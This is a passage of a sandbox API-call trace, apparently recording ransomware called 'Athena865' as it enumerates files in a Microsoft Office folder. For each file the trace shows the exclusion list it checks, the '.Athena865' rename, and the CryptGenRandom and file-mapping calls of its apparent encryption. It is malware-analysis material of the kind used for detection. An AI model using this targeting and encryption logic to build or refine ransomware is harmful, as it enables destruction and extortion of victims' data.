hHeap=0x4f0000) returned 1 [0143.453] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIS_F_COL.HXK", cAlternateFileName="OIS_F_~1.HXK")) returned 1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2=".") returned 1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="..") returned 1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="windows") returned -1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="bootmgr") returned 1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="temp") returned -1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="pagefile.sys") returned -1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="boot") returned 1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="ids.txt") returned 1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="perflogs") returned -1 [0143.453] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2="MSBuild") returned 1 [0143.454] lstrlenW (lpString="OIS_F_COL.HXK") returned 13 [0143.454] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OIS_F_COL.HXK" | out: lpString1="OIS_F_COL.HXK") returned="OIS_F_COL.HXK" [0143.454] lstrlenW (lpString="OIS_F_COL.HXK") returned 13 [0143.454] lstrlenW (lpString="Athena865") returned 9 [0143.454] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0143.454] lstrlenW (lpString=".dll") returned 4 [0143.454] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2=".dll") returned 1 [0143.454] lstrlenW (lpString=".lnk") returned 4 [0143.454] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2=".lnk") returned 1 [0143.454] lstrlenW (lpString=".ini") returned 4 [0143.454] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2=".ini") returned 1 [0143.454] lstrlenW (lpString=".sys") returned 4 [0143.454] lstrcmpiW (lpString1="OIS_F_COL.HXK", lpString2=".sys") returned 1 [0143.454] lstrlenW (lpString="OIS_F_COL.HXK") returned 13 [0143.454] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.Athena865") returned 71 [0143.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0143.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.456] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0143.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.456] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.457] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.457] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.457] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0143.459] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0143.460] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.460] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.460] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.461] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.461] CloseHandle (hObject=0x17c) returned 1 [0143.461] CloseHandle (hObject=0x154) returned 1 [0143.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.462] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIS_K_COL.HXK", cAlternateFileName="OIS_K_~1.HXK")) returned 1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2=".") returned 1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="..") returned 1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="windows") returned -1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="bootmgr") returned 1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="temp") returned -1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="boot") returned 1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="ids.txt") returned 1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="perflogs") returned -1 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2="MSBuild") returned 1 [0143.462] lstrlenW (lpString="OIS_K_COL.HXK") returned 13 [0143.462] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OIS_K_COL.HXK" | out: lpString1="OIS_K_COL.HXK") returned="OIS_K_COL.HXK" [0143.462] lstrlenW (lpString="OIS_K_COL.HXK") returned 13 [0143.462] lstrlenW (lpString="Athena865") returned 9 [0143.462] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0143.462] lstrlenW (lpString=".dll") returned 4 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2=".dll") returned 1 [0143.462] lstrlenW (lpString=".lnk") returned 4 [0143.462] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2=".lnk") returned 1 [0143.463] lstrlenW (lpString=".ini") returned 4 [0143.463] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2=".ini") returned 1 [0143.463] lstrlenW (lpString=".sys") returned 4 [0143.463] lstrcmpiW (lpString1="OIS_K_COL.HXK", lpString2=".sys") returned 1 [0143.463] lstrlenW (lpString="OIS_K_COL.HXK") returned 13 [0143.463] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.Athena865") returned 71 [0143.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0143.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.464] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0143.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.465] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.465] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.466] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.466] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0143.467] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0143.468] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.469] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.469] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.470] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.470] CloseHandle (hObject=0x17c) returned 1 [0143.470] CloseHandle (hObject=0x154) returned 1 [0143.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.470] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de21e00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8de21e00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x62180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OMSINTL.DLL", cAlternateFileName="")) returned 1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2=".") returned 1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="..") returned 1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="windows") returned -1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="bootmgr") returned 1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="temp") returned -1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="pagefile.sys") returned -1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="boot") returned 1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="ids.txt") returned 1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="ntuser.dat") returned 1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="perflogs") returned -1 [0143.470] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2="MSBuild") returned 1 [0143.470] lstrlenW (lpString="OMSINTL.DLL") returned 11 [0143.470] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OMSINTL.DLL" | out: lpString1="OMSINTL.DLL") returned="OMSINTL.DLL" [0143.471] lstrlenW (lpString="OMSINTL.DLL") returned 11 [0143.471] lstrlenW (lpString="Athena865") returned 9 [0143.471] lstrcmpiW (lpString1="SINTL.DLL", lpString2="Athena865") returned 1 [0143.471] lstrlenW (lpString=".dll") returned 4 [0143.471] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2=".dll") returned 1 [0143.471] lstrlenW (lpString=".lnk") returned 4 [0143.471] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2=".lnk") returned 1 [0143.471] lstrlenW (lpString=".ini") returned 4 [0143.471] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2=".ini") returned 1 [0143.471] lstrlenW (lpString=".sys") returned 4 [0143.471] lstrcmpiW (lpString1="OMSINTL.DLL", lpString2=".sys") returned 1 [0143.471] lstrlenW (lpString="OMSINTL.DLL") returned 11 [0143.471] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.Athena865") returned 69 [0143.471] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.athena865"), dwFlags=0x1) returned 1 [0143.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.473] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=401792) returned 1 [0143.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.474] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.474] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.474] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.474] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62480, lpName=0x0) returned 0x17c [0143.476] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x62480) returned 0x2bb0000 [0143.488] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.489] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.489] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.489] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.490] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0143.493] CloseHandle (hObject=0x17c) returned 1 [0143.493] CloseHandle (hObject=0x154) returned 1 [0143.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.495] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70618400, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70618400, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OMSINTL.DLL.IDX_DLL", cAlternateFileName="OMSINT~1.IDX")) returned 1 [0143.498] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.498] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.498] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2=".") returned 1 [0143.498] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="..") returned 1 [0143.498] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="windows") returned -1 [0143.498] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0143.498] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="temp") returned -1 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="pagefile.sys") returned -1 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="boot") returned 1 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="ids.txt") returned 1 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="ntuser.dat") returned 1 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="perflogs") returned -1 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2="MSBuild") returned 1 [0143.499] lstrlenW (lpString="OMSINTL.DLL.IDX_DLL") returned 19 [0143.499] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OMSINTL.DLL.IDX_DLL" | out: lpString1="OMSINTL.DLL.IDX_DLL") returned="OMSINTL.DLL.IDX_DLL" [0143.499] lstrlenW (lpString="OMSINTL.DLL.IDX_DLL") returned 19 [0143.499] lstrlenW (lpString="Athena865") returned 9 [0143.499] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0143.499] lstrlenW (lpString=".dll") returned 4 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2=".dll") returned 1 [0143.499] lstrlenW (lpString=".lnk") returned 4 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0143.499] lstrlenW (lpString=".ini") returned 4 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2=".ini") returned 1 [0143.499] lstrlenW (lpString=".sys") returned 4 [0143.499] lstrcmpiW (lpString1="OMSINTL.DLL.IDX_DLL", lpString2=".sys") returned 1 [0143.499] lstrlenW (lpString="OMSINTL.DLL.IDX_DLL") returned 19 [0143.499] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.Athena865") returned 77 [0143.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0143.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.501] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24960) returned 1 [0143.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.502] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.503] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.503] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.503] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6480, lpName=0x0) returned 0x17c [0143.504] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6480) returned 0x100000 [0143.506] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.506] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.506] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.506] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.507] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.507] HeapFree (in: hHeap=0x4f0000, 